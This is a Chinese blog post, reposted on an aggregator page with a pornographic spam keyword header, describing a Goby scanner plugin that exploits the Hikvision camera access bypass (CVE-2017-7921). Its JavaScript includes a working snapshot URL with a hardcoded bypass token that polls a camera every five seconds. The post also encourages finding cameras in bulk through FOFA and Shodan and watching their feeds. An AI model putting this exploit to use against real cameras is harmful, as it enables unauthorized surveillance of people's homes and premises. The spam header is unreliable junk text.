日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

插件分享 | 可以查看摄像头快照的“Hikvision插件”

發布時間:2023/12/29 编程问答 68 豆豆
生活随笔 收集整理的這篇文章主要介紹了 插件分享 | 可以查看摄像头快照的“Hikvision插件” 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.


前言:之前在Goby群里看到有人討論過海康這個漏洞,自己平時也有遇到過。該漏洞能夠查看攝像頭的的快照,但是每次都需要手動去訪問。耳東表姐一直催插件(沒有),所以寫一個簡單的驗證插件來熟悉熟悉goby的插件開發流程。希望通過此次分享,吸引更多人大佬能加入到開發插件的行列中來,搞點牛批的插件出來。


0x001 插件效果


當掃描出Hikvision IP Camera Access Bypass漏洞后,會在漏洞頁面和資產詳情頁面顯示”驗證按鈕”(和MSF插件是一樣的),點擊之后即可彈窗看到攝像頭快照PPT(5秒刷新一次)。


0x002 開發流程


1. 注冊自定義組件要觸發的命令

Goby官方的開發文檔里有很詳細的說明,也有提供樣例項目,將其下載并解壓到goby/extensions目錄下,然后運行goby就能看到demo了,剩下的就是改了:

exports.activate = activate;function activate(content) {goby.registerCommand('Hikvision', (content) => { let path = __dirname + "/index.html?hostinfo=" + content.hostinfo; //設置打開新窗口的html文件路徑,并傳入當前hostinfo信息goby.showIframeDia(path, "Hikvision登錄繞過驗證", "800", "600"); //打開一個800*600的iframe窗口,窗口標題為“Hikvision登錄繞過驗證”});goby.registerCommand('Hikvision_visi', (content) => { return content.name === "Hikvision IP Camera Access Bypass(ICSA-17-124-01/CVE-2017-7921)" //對漏洞名稱進行判斷}); }exports.activate = activate;

提示: 因為要在掃描結果中存在該漏洞才能顯示該組件。所以這里使用了控制組件是否顯示的回調命令,它綁定在views的visible字段上,根據其返回的布爾值來決定是否顯示該組件。


2. 配置視圖入口點

插件的入口點,我選在漏洞列表頁,需要在package.json里進行配置,即contributes.views.vulList,填寫想要的標題、對應的命令、以及控制該組件顯示的回調命令。

"contributes": {"views": {"vulList": [{"command": "Hikvision","title": "驗證","visible": "Hikvision_visi"}]}

3. 開發html頁面

官方使用的layui,因為不需要復雜的界面,直接就在給的樣例HTTP發包插件的基礎上去改。開發流程很簡單,因為我是真的菜,所以請教了我的同事@Ma1tobiose

開發流程如下:

  • 獲取iframe的參數,這段是直接從官方樣例里拿過來簡單做了下修改:
  • function GetIframeQueryString(name, id) {var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)', 'i');var r =window.parent.document.getElementById(id).contentWindow.location.search.substr(1).match(reg);if (r != null) {return decodeURI(r[2]);}return null; }
  • 拿到漏洞的ip后進行拼接,將返回的圖片傳給定義好的IMG標簽,并嗎,每5秒一次進行循環請求:
  • // 拼urlvar url = ("http://"+GetIframeQueryString("hostinfo", "goby-iframe")+"/onvif-http/snapshot?auth=YWRtaW46MTEK");window.onload = function () { get()}setInterval(function () {get();}, 5000);// 循環請求function get(){$("#test").attr('src',url + "&t=" + Math.random());}

    開發測試完之后就是打包上傳了,因為直接是拿官方樣例修改的,所以目錄結構不需要再重構。


    4. 打包上傳

    打包前需要注意的兩點:一是demo的gif需要生成一個在線的地址,因為goby還不支持還沒實現抓取readme圖片。二是壓縮包和文件夾名稱須保持一致,文件放置如下圖所示。


    5. 更新

    因為更換demo圖地址,所以我更新了一次版本。打開package.json修改版本號,以及在CHANGELOG.md新增更新說明。更新上傳過程中還遇到一個bug:沒有權限,但是耳東小姐姐積極溝通復現解決掉了。


    0x003 小結


    Goby的開發文檔里寫的很詳細很清楚,開發整個插件也就用了一個小時的時間。當然也是因為功能比較簡單,感覺沒啥太大用處,主要是為了熟悉Goby的插件開發流程。理論上來說插件能夠搭配Goby實現很多場景的應用,但是因為插件功能剛開放沒有成為亮點,只能用JS開發也比較有限制性。

    表哥們可以利用FOFA插件和大壯表哥開發的Shodan插件查詢海康威視攝像頭資產,并批量導入,掃出漏洞后使用Hikvision插件看PPT(你懂的)。

    漏洞詳情可參考:https://www.seebug.org/vuldb/ssvid-96469
    插件開發文檔:https://github.com/gobysec/GobyExtension

    總結

    以上是生活随笔為你收集整理的插件分享 | 可以查看摄像头快照的“Hikvision插件”的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。